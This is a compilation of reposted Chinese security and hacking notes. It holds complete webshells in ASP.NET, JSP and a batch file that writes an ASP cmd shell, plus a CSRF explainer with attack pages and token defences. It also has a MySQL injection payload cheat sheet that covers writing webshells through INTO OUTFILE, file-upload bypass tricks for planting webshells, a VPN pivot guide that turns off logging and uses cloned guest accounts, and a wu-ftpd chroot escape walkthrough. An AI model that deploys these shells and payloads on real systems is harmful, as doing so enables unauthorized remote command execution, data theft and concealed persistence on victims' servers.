    psi.Arguments = "/c "+arg;

    psi.RedirectStandardOutput = true;

    psi.UseShellExecute = false;

    Process p = Process.Start(psi);

    StreamReader stmrdr = p.StandardOutput;

    string s = stmrdr.ReadToEnd();

    stmrdr.Close();

    return s;

}

void cmdExe_Click(object sender, System.EventArgs e)

{

    Response.Write("<pre>");

    Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));

    Response.Write("</pre>");

}

</script>

<HTML>

<HEAD>

   <title>awen asp.net webshell</title> 

</HEAD>

<body >

   <form id="cmd" method="post" runat="server">  

    <asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>

    <asp:Button id="执行" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>

    <asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">输入命令:</asp:Label>

   </form>

</body>

</HTML>

 

Cmd Shell JSP版本

<FORM METHOD=GET ACTION='cmdexec.jsp'>

<INPUT name='cmd' type=text>

<INPUT type=submit value='Run'>

</FORM>

<%@ page import="java.io.*" %>

<%

   String cmd = request.getParameter("cmd");

   String output = "";

   if(cmd != null) {

      String s = null;

      try {

         Process p = Runtime.getRuntime().exec(cmd);

         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));

         while((s = sI.readLine()) != null) {

            output += s;

         }

      }

      catch(IOException e) {

         e.printStackTrace();

      }

   }

%>

<pre>

<%=output %>

</pre>

 

Cmd Shell Bat版本

echo ^<^% > cmdasp.asp

echo Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile >> cmdasp.asp

echo On Error Resume Next >> cmdasp.asp

echo Set oScript = Server.CreateObject(^"WSCRIPT.SHELL^") >> cmdasp.asp

echo Set oScriptNet = Server.CreateObject(^"WSCRIPT.NETWORK^") >> cmdasp.asp

echo Set oFileSys = Server.CreateObject(^"Scripting.FileSystemObject^")

     >> cmdasp.asp

echo szCMD = Request.Form(^".CMD^") >> cmdasp.asp

echo If (szCMD ^<^> ^"^") Then >> cmdasp.asp

echo szTempFile = ^"C:\^" & oFileSys.GetTempName() >> cmdasp.asp

echo Call oScript.Run(^"cmd.exe /c ^" ^& szCMD ^& ^" ^> ^" ^& szTempFile,0,True)

     >> cmdasp.asp

echo Set oFle = oFileSys.OpenTextFile(szTempFile,1,False,0) >> cmdasp.asp

echo End If >> cmdasp.asp

echo ^%^> >> cmdasp.asp

echo ^<FORM action=^"^<^%= Request.ServerVariables(^"URL^") ^%^>^" method=^"POST^"^>

     >> cmdasp.asp

echo ^<input type=text name=^".CMD^" size=70 value=^"^<^%= szCMD ^%^>^"^> >> cmdasp.asp

echo ^<input type=submit value=^"Run^"^> >> cmdasp.asp

echo ^</FORM^> >> cmdasp.asp

echo ^<PRE^> >> cmdasp.asp

echo ^<^% >> cmdasp.asp

echo If (IsObject(oFile)) Then >> cmdasp.asp

echo On Error Resume Next >> cmdasp.asp

echo Response.Write Server.HTMLEncode(oFile.ReadAll) >> cmdasp.asp

echo oFile.Close >> cmdasp.asp

echo Call oFileSys.DeleteFile(szTempFile, True) >> cmdasp.asp

echo End If >> cmdasp.asp

echo ^%^> >> cmdasp.asp

echo ^<^/PRE^> >> cmdasp.asp


一.CSRF是什么?

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。

二.CSRF可以做什么?

你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。

三.CSRF漏洞现状

CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI......而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”。

四.CSRF的原理

下图简单阐述了CSRF攻击的思想:

点击查看原图

从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤

1.登录受信任网站A,并在本地生成Cookie

2.在不登出A的情况下,访问危险网站B

看到这里,你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生:

1.你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。

2.你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......)

3.上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。

 

上面大概地讲了一下CSRF攻击的思想,下面我将用几个例子详细说说具体的CSRF攻击,这里我以一个银行转账的操作作为例子(仅仅是例子,真实的银行网站没这么傻:>)

示例1:

银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000

危险网站B,它里面有一段HTML的代码如下:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块......

为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作......

示例2:

为了杜绝上面的问题,银行决定改用POST请求完成转账操作。

银行网站A的WEB表单如下:

<form action="Transfer.php" method="POST">
<p>ToBankId: <input type="text" name="toBankId" /></p>
<p>Money: <input type="text" name="money" /></p>
<p><input type="submit" value="Transfer" /></p>
</form>

后台处理页面Transfer.php如下:

<?php
session_start();
if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']))
{
    buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);
}
?>

危险网站B,仍然只是包含那句HTML代码:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

和示例1中的操作一样,你首先登录了银行网站A,然后访问危险网站B,结果.....和示例1一样,你再次没了1000块~T_T,这次事故的原因是:银行后台使用了$_REQUEST去获取请求的数据,而$_REQUEST既可以获取GET请求的数据,也可以获取POST请求的数据,这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中,可以使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。

示例3:

经过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下:

<?php
session_start();
if (isset($_POST['toBankId'] && isset($_POST['money']))
{
    buy_stocks($_POST['toBankId'], $_POST['money']);
}
?>

然而,危险网站B与时俱进,它改了一下代码:

<html>
<head>
<script type="text/javascript">
function steal()
{
               iframe 
= document.frames["steal"];
             iframe.document.Submit(
"transfer");
}
</script>
</head>

<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html>

如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!

总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,因为触发条件很简单,一个<img>就可以了,而第3种比较麻烦,需要使用JavaScript,所以使用的机会会比前面的少很多,但无论是哪种情况,只要触发了CSRF攻击,后果都有可能很严重。

理解上面的3种攻击模式,其实可以看出,CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的

五.CSRF的防御

我总结了一下看到的资料,CSRF的防御可以从服务端客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的CSRF防御也都在服务端进行。

1.服务端进行CSRF防御

服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数

(1).Cookie Hashing(所有表单都包含同一个伪随机值):

这可能是最简单的解决方案了,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败了:>

<?php
//构造加密的Cookie信息
$value = “DefenseSCRF”;
setcookie(”cookie”, $valuetime()+3600);
?>

在表单里增加Hash值,以认证这确实是用户发送的请求。

<?php
$hash = md5($_COOKIE['cookie']);
?>
<form method=”POST” action=”transfer.php”>
<input type=”text” name=”toBankId”>
<input type=”text” name=”money”>
<input type=”hidden” name=”hash” value=”<?=$hash;?>”>
<input type=”submit” name=”submit” value=”Submit”>
</form>

然后在服务器端进行Hash值验证

      <?php
      if(isset($_POST['check'])) {
             $hash = md5($_COOKIE['cookie']);
           if($_POST['check'] == $hash) {
                  doJob();
           } else {
//...
             }
      } else {
//...
      }
      ?>

这个方法个人觉得已经可以杜绝99%的CSRF攻击了,那还有1%呢....由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,这就另外的1%。一般的攻击者看到有需要算Hash值,基本都会放弃了,某些除外,所以如果需要100%的杜绝,这个不是最好的方法。
(2).验证码

这个方案的思路是:每次的用户提交都需要用户在表单中填写一个图片上的随机字符串,厄....这个方案可以完全解决CSRF,但个人觉得在易用性方面似乎不是太好,还有听闻是验证码图片的使用涉及了一个被称为MHTML的Bug,可能在某些版本的微软IE中受影响。

(3).One-Time Tokens(不同的表单包含一个不同的伪随机值)

在实现One-Time Tokens时,需要注意一点:就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单,CSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况:用户只能成功地提交他最后打开的表单,因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。

以下我的实现:

1).先是令牌生成函数(gen_token()):

     <?php
     function gen_token() {
//这里我是贪方便,实际上单使用Rand()得出的随机数作为令牌,也是不安全的。
//这个可以参考我写的Findbugs笔记中的《Random object created and used only once》
          $token = md5(uniqid(rand(), true));
          return $token;
     }

2).然后是Session令牌生成函数(gen_stoken()):

     <?php
      function gen_stoken() {
$pToken = "";
if($_SESSION[STOKEN_NAME]  == $pToken){
//没有值,赋新值
$_SESSION[STOKEN_NAME] = gen_token();
}    
else{
//继续使用旧的值
}
       }
     ?>

3).WEB表单生成隐藏输入域的函数:

     <?php
     function gen_input() {
            gen_stoken();
          echo “<input type=\”hidden\” name=\”" . FTOKEN_NAME . “\”
                 value=\”" . $_SESSION[STOKEN_NAME] . “\”> “;
       }
     ?>

4).WEB表单结构:

     <?php
          session_start();
          include(”functions.php”);
     ?>
     <form method=”POST” action=”transfer.php”>
          <input type=”text” name=”toBankId”>
          <input type=”text” name=”money”>
          <? gen_input(); ?>
          <input type=”submit” name=”submit” value=”Submit”>
     </FORM>

5).服务端核对令牌:

这个很简单,这里就不再啰嗦了。

上面这个其实不完全符合“并行会话的兼容”的规则,大家可以在此基础上修改。

 

其实还有很多想写,无奈精力有限,暂且打住,日后补充,如果错漏,请指出:>

PS:今天下午写这篇文档的时候FF崩溃了一次,写了一半文章的全没了,郁闷好久T_T.......

转载请说明出处,谢谢[hyddd(http://www.cnblogs.com/hyddd/)]

六.参考文献

[1].Preventing CSRF

[2].Security Corner: Cross-Site Request Forgeries

[3].《深入解析跨站请求伪造漏洞:原理剖析》

[4].《Web安全测试之跨站请求伪造(CSRF)》

[5].《深入解析跨站请求伪造漏洞:实例讲解》

[6].http://baike.baidu.com/view/1609487.htm

 

转自:http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html


标题:mysql注入总结

作者:L.N.

时间:2012-07-23

博客:lanu.sinaapp.com

 

目录:

0x00 mysql一般注入(select)

0x01 mysql一般注入(insert、update)

0x02 mysql报错注入

0x03 mysql一般盲注

0x04 mysql时间盲注

0x05 mysql其他注入技巧

0x06 mysql数据库版本特性 

0x07 声明

 

正文:

 

0x00 mysql一般注入(select)

 

1.注释符
#
/*
--

 

2.过滤空格注入
使用/**/或()或+代替空格

%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line

 

3.多条数据显示
concat()
group_concat()
concat_ws()

 

4.相关函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

5.mysql一般注入语句

猜字段数

order by n/*
查看mysql基本信息
and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*
查询数据库
and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*
and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*
查询表名
and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码/*
查询字段
and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码/*
查询数据
and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/*

判断是否具有读写权限
and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*

 

6.mysql读取写入文件

必备条件:

读:file权限必备

写:1.绝对路径 2.union使用 3. 可以使用''  

-------------------------读----------------------                     

mysql3.x读取方法
create table a(cmd text);
load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;
select * from a;

mysql4.x读取方法
除上述方法还可以使用load_file()
create table a(cmd text);
insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));
select * from a;

mysql5.x读取方法
上述两种都可以

读取文件技巧:
load_file(char(32,26,56,66))
load_file(0x633A5C626F6F742E696E69)

------------写--------------------------

into outfile写文件

union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*
union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

 

0x01 mysql一般注入(insert、update)

 

mysql一般请求mysql_query不支持多语句执行,mysqli可以。 

 

insert注入多使用报错注入!

1.如果可以直接插入管理员可以直接使用!

insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* ');

2.如果可以插入一些数据,这些数据会在网页中显示,我们可以结合xxs和csrf来获取cookies或getshell

 

update注入同上

 

0x02 mysql报错注入

 

1. and(select 1 from(select count(*),concat((select (select (语句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

语句处填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1

 

2. and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)--

 

3.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b);

 

4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b)));


 

 0x03 mysql一般盲注

 

使用ascii

AND ascii(substring((SELECT password FROM users where id=1),1,1))=49

使用正则表达式

and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

 

0x04 mysql时间盲注

 

1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl

 

UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’

 

 

0x05 mysql其他注入技巧

 

以后遇见了更新

 

0x06 mysql数据库版本特性

 

1. mysql5.0以后  information.schema库出现

2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下

3.mysql5.x以后 system执行命令

 

0x07 声明 

 

如有错误,希望指正

如果遗漏,希望讨论

小菜总结,大牛勿吐

记录笔记,时常复习

一、'\0'上传漏洞 + nc抓包上传:

整个流程上传漏洞主要就是利用'\0'字符漏洞,'\0'字符在系

统中被用作字符串结束的标志
基本原理就是网络程序虽然禁止了.asp等后缀名文件的上传,

但是都会允许.jpg或者.gif格式文件的上传。这样如果自己构造数据包 

formPath=UploadFile/shell.asp'\0 '.jpg,那么'\0 '后面的字符将被截断,原因是计算机遇

到'\0'字符,认为字符串结束了。于是我们就向服务器上传了一个名为shell.asp的ASP木马程序,后面的就不多说了,

webshell的功能已经很强大了,入侵过程:
条件:需要至少NC、WinSock Expert、UltraEdit三个工具和一个webshell程序
nc.exe(netcat) - 一个变形了的telnet,嗅探器,网络安全届的军刀!WinSock Expert - 抓包工具,可以截获网络通讯的数据流
UltraEdit - ......不说了,无人不知无人不晓-_-!webshell - ASP、PHP等木马程序1.第一步,打开目标系统的上
传页面,通过WinSock Expert监视,上传webshell.asp文件,再打开WinSock Expert,将截获的数据流存为文本文件
(两个send下面的所有内容,包括回车产生的空白行)
2.通过UltraEdit修改文本文件中的关键代码:
filename="C:\test\webshell.asp"   ,webshell.asp后加:1个空格及.jpg,然后跳到16进制编辑状态,修改16进制下空格
的20为00,Content-Length长度增加5。(一个字符算一个字节,' .jpg'一个5个字节)3.nc出场~!
指令:nc -vv www.xxx.com 80 < 1.txt
批注:此法貌似针对的是低版本iis.



二、明小子上传:这个不用多说,工具党的最爱。动易上传,动网上传等。关键是找到漏洞页面,
加以利用。上传类型通常为asp页面。(php,aspx之类的另算)几大cms的漏洞通杀,不可小视。



三、本地上传漏洞。js过滤了?没关系。本地构造一个上传页面exp,action直指上传页面便好。有时它会验证cookie。
没关系,wireshark或者直接Tamper data抓包修改便是,加密了就莫法了。感觉不如直接浏览器修改网页代码,且不如nc。



四、上传过滤:针对上传类型的过滤,一般会根据文件后缀进

行过滤。通常上传允许类型为jpg|png|gif|rar|tar|doc|txt|

等等。。

稍微总结了一下,有以下几种方法(欢迎大家补充):

1.iis6.0截断漏洞。

例子:将要上传的大马或者小马更名为 1.jpg;.asp 或者 1.jpg;.2.asp~有人说1.asp;.jpg之类的也行。。但我没成功过。那个囧啊。

。小小解释下。因为";"被iis6.0解析时产生了截断了。就不向后读了。所以判断类型为jpg.


2.二进制文件头判断上传类型。

UE打开已伪装成图片的大小马。。不知是哪个混蛋说的。直接记事本打开加不是更方便。。。

但还是在此附上一位不知名大能总结的文件头的标识。

{

   1.JPEG/JPG
- 文件头标识 (2 bytes): $ff, $d8 (SOI) (JPEG 文件标识) 
- 文件结束标识 (2 bytes): $ff, $d9 (EOI) 

2.TGA
- 未压缩的前5字节   00 00 02 00 00
- RLE压缩的前5字节   00 00 10 00 00

3.PNG
- 文件头标识 (8 bytes)   89 50 4E 47 0D 0A 1A 0A

4.GIF
- 文件头标识 (6 bytes)   47 49 46 38 39(37) 61
                        G  I  F  8  9 (7)  a

gif89a 有透明



gif87a 无透明



5.BMP
- 文件头标识 (2 bytes)   42 4D
                        B   M

6.PCX
- 文件头标识 (1 bytes)   0A

7.TIFF
- 文件头标识 (2 bytes)   4D 4D 或 49 49

8.ICO
- 文件头标识 (8 bytes)   00 00 01 00 01 00 20 20 

9.CUR
- 文件头标识 (8 bytes)   00 00 02 00 01 00 20 20

10.IFF
- 文件头标识 (4 bytes)   46 4F 52 4D
                        F  O  R  M

11.ANI
- 文件头标识 (4 bytes)   52 49 46 46
                        R  I  F  F

     根据这些文件头标识的收集,我可以写一个识别图像格

式的模块了。但是在写这个模块之前可以对收集到的文件头标

识进行优化,使得程序中字符串比对次数尽量的少。
1.JPEG我们知需要比对文件头的$ff, $d8这两个字符,而不用

读取最后的两个结束标识了。
2.TGA,ICO,CUR只需比对第三个与第五个字符即可。
3.PNG比对[89][50]这两个字符。
4.GIF比对[47][49][46]与第五个字符。

废话不多说了,利用内存流来判断文件的格式,其实判断文件

的前几个字节就可以简单的判断这个文件是什么类型的文件,

例如

jpg文件 是 FFD8 (从低位到高位就要反过来 D8FF 下面都是

一样)

BMP文件 是 424D ---4D42

}




额,就是这般,修改二进制文件头。或者记事本直接添加代码即可

。大多数时候这种上传检测不会检查后缀了。但也不乏一些变态网站。。


3.后台上传备份。

如果你已经拿到了后台,并且有数据库路径备份。那么恭喜你

,已经成功了一半。先上传。肿么上传我就不废话了。见上文。然后找到备份数据库处,将备份路径改为我们的马儿的路径。

备份文件名后缀都可以改。ok。接下来的东西你懂得。。



4.后台模版单页修改上大马。

还是利用iis6.0的截断漏洞。不过这次是修改单页内容。要文件名可改才行。

举个例。1.asp;1.html...



5.正常文件中插一句话?

一般而言,后台插一句话,如果数据库扩展名是asp的话,那么插数据库,但是如果有配置文件可以插的话,那肯定是插入

配置文件了,但是插入配置文件有一个很大的风险,那就是一旦出错那么全盘皆输,有可能不仅仅造成后台无法登陆,甚至

有可能是整个网站系统崩溃,所以插入配置文件,请慎之又慎。插入时,有时有过滤,这时分下网页源码。估计是单引号过滤

或者<>闭合等问题,不一而论。这里便不作详细分析了。


PS:数据库插一句话的话有时文件大了菜刀就连不上。灰常蛋疼。


6.远程命令执行oday利用

这个这个。没法举例子啊。以后有机会再举吧。



7.编辑器上传漏洞

常见网站的编辑器:

ewebeditor    
ewebeditornet      
fckeditor  
editor     
southidceditor   
SouthidcEditor  
bigcneditor  



至于详细漏洞,看清版本后,找谷哥和度娘去。。各种不解释。



嗯。。暂时就这么多了。。小菜一枚。。只是为了方便大家而整理总结润色的~


大牛勿喷,请一笑而过吧,小菜还是难得很花了点时间写东西。。。。

 


---------转自暗组

VPN可以应用在很多方面,很多公司只是拿它接入公司内部网络,但我们做安全的需要的是利用它做跳板上网(还有提高网速)。这篇文章主要是针对这种应用来说的,包括公网VPN的配置。

服务器配置

前奏:关闭防火墙

Windows
防火墙服务开启的话没法启用VPN
服务,所以要先关掉。

cmd下输入下面两条命令既可
:

sc config SharedAccess start=disabled

net stop SharedAccess

具体步骤:

1.开始-管理工具-路由和远程访问。在“机器名(本地)”上右键-配置并启用路由和远程访问。

2.下一步-自定义配置-勾选“VPN访问”“NAT和基本防火墙”-下一步-完成-是。

要点1:

A.这里要注意,vpn代理上网和vpn端口映射:一定记得选上“NAT和基本防火墙”,要不然下面IP路由选择展开后就不会有 NAT/基本防火墙”,VPN就不能代理上网。

B.如果是配置公网VPN则不用NAT.

 

3. 机器名(本地)上右键-属性-IP选项卡-点“静态IP地址”-添加,输入个范围,比如:10.0.0.1-10.0.0.10

 

要点2:

如果是配置公网VPN,这里要注意,要填入你所在网络的地址池内能分配到的空闲IP。很多国外XX服务器都拥有整个当前IPC段,当前网络总共有多少IP可以看子网掩码确定。具体哪些IP是空闲的,一般看能不能ping通,能不能访问80等服务,如果有连续的IP不能ping80这些端口也没开,那应该是空闲的。还可以ping一下各个ip之后,arp -a看看有没有arp出MAC地址(有时ping不同,arp也没有。但配好不能上网的话,就重新设置下IP),如果没有的话,一般是空闲的(除非是没开机)。

4.再切到日志选项卡-点选“不记录任何事件”-确定

 

配置公网VPN的话是不需要下面这一步的,vpn代理上网和vpn端口映射是需要这一步的

5. 展开IP路由选择-点一下“NAT/基本防火墙”-然后在右边空白处右键-新增接口-选择本地连接-确定。然后在弹出的属性框里点“公用接口连接到Internet”,点选“在此连接上启用NAT-确定

 

要点3:这里也要注意,新增接口的时候,一定要选择正确才能正常使用VPN。这里要选择服务器用来连接外网的那个连接,一般情况下都是本地连接,但是有很多注意是多网卡,这种情况选择的时候,你就要用ipconfig命令确认一下,选择ipconfig命令是公网IP的那个接口(连接),如果只有内网IP,这种情况一般是防火墙只映射了几个端口出去,估计没法做VPN,因为一般是连不进来的,除非是DMZ主机或者把1723端口也映射出去。



6.在“NAT/基本防火墙”上右键-属性-“常规”选项卡,点选“禁用事件日志”-确定。

7.需要vpn端口映射还需要配置:在“NAT/基本防火墙”选择刚才新增的接口,图片里为本地连接,点右键属性,在打开的菜单里选择“服务与端口”,然后点“添加”,添加自己想要映射的端口。“专用地址”里填写的是刚才在“静态IP地址”填写的一个地址。

 

要点:当客户机连接vpn服务器后,如果客户机的IP是这个专用地址,那么凡是通过传入端口(图片里为8000)与vpn服务器通信的信息都会被转到客户机的相应端口(图片里还是为8000)。想让一个客户机始终分配到这个专用IP,请看下面的拨入权限设置。

拨入权限设置:

这个很简单,我的电脑-右键-管理-本地用户和组-用户,在你想用于VPN的账号上右键-属性-“拨入”选项卡-远程访问权限那点选“允许访问”-确定,需要端口映射的就在“分配静态IP处”填写上面步所填写的“专用地址”。不需要则不必填写

注意如果是guest克隆账户,给他加了拨入权限之后,guest的“账户已禁用”会消失,所以要先给拨入权限再克隆,或者已经克隆了的话给了拨入后再克隆一遍。

 

客户端配置

先新建一个VPN连接(过程太简单,就不废话了),在它上面右键-属性-“网络”选项卡-双击“此连接使用下列项目”里面的“Internet协议TCP/IP-高级-“常规”选项卡-勾选“在远程网络上使用默认网关”。

以上步骤在Windows2000下也差的不多


 

 

 

 

 

 

 

 

 

 

可能顺序有点乱,大家凑合的看

这篇文章是对WU-FTPD设置了CHROOT后,配置出现的问题造成了突破CHROOT限制,并可以访问全部文件系统,我只是看到了这篇文章,感觉思路不错,就把其翻译了出来,由于时间仓促,没有对程序进行测试。这篇文章也是98年发表的文章,所以并不一定对现在最新的系统适用。------------了解思路吗!!!

下面是对WU-FTPD的测试,尽管任何FTP服务程序允许限制各种访问,但在用户目录下使用/bin/ls存在潜在的漏洞。

当我们增加一个新的用户到系统的时候(使用adduser,useradd等),新的用户就变成了他用户目录的属主,如:

drwx------ 2 user users 1024 Jun 21 11:26 /home/user/

问题出在当我们设置FTP服务器为了限制用户访问他们目录权利的时候,现在在我们的模拟系统中的用户home目录下建立一个目录结构:

/etc: 密码,组 . 

/bin: ls, compress, gzip... - 一些可以运行的两进制程序。 

/lib, /usr/lib: 一些需要的库文件。 

/dev: 为了建立连接某些操作系统需要访问的一些设备。

用户不需要改变他们的目录等属性,因为我们限制了他们的许可权利和把所有权归属给超级用户。

问题在于当我们做这个的时候,我们忘记了用户home目录的属主现在是归属于用户的。这样的话他可以改变此目录下的任意文件,下面的情况是很容易找到的:

drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/
drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/

在这里用户user可以改变在他Home下的bin目录,(如果目录里的内容不归属于此用户,我们不能删除目录下的内容,但并不能阻止我们改名它):

OK,现在的要点在那里?我们可以看看wu.ftpd是怎样内部工作的:

当我们通过FTP(LIST命令)来请求一个目录列表的时候,FTP服务程序执行了/bin/ls,注意,这个ls一般是受限用户下的/bin/ls程序。

我们知道FTP服务程序是以ROOT身份来运行的,当一个用户访问受限制的FTP,服务程序会改变它的euid为用户uid。服务程序使用seteuid()来代替setuid()是为了重新获得超级用户的权利,但使用setuid()来操作是不可能的。

不管怎样,FTP服务程序执行了在chroot()后的用户目录下的/bin/ls,chroot()是改变了处理ROOT目录的方法。在chroot()以后进程只能访问文件系统的一部分,而且不能超越这个限制。

如果用户能修改/bin/ls,接着当我们运行LIST的时候,系统就会运行我们修改过的ls,并且这个程序是以euid等用户uid来执行,但这时uid=0,因为ls能调用setuid(0)并要重新获得超级用户的权利,虽然这时候还是在用户目录的限制状况下。

所以下面描述摆脱chroot()的限制:

就象我们上面刚刚说过,即使我们能执行任意代码,我们也只不过在choroot()后的文件系统里在运行,因为chroot()继承父进程到子进程,因此我们派生一个进程的话我们仍然限制于chroot().

ROOT目录进程处理的所有权在系统内存的进程表中存储着所有进程的信息(这个表只能是超级用户访问),因此我们只有能访问这张表,修改我们的ROOT目录并派生一个继承新ROOT目录的进程,我们就摆脱了chroot()的限制。

另外一个方法(FOR LINUX)是装载一个内核模块来捕获chroot()的系统调用,并修改它的可访问文件系统限制,或者干脆是给内核模块来来访问系统并执行任意代码。

实践:

thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in. Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.

用户连接到了机器并访问了他可以访问的系统,一连接后,FTP服务程序执行了chroot()到用户的home 目录:

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 11:26 ..
d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
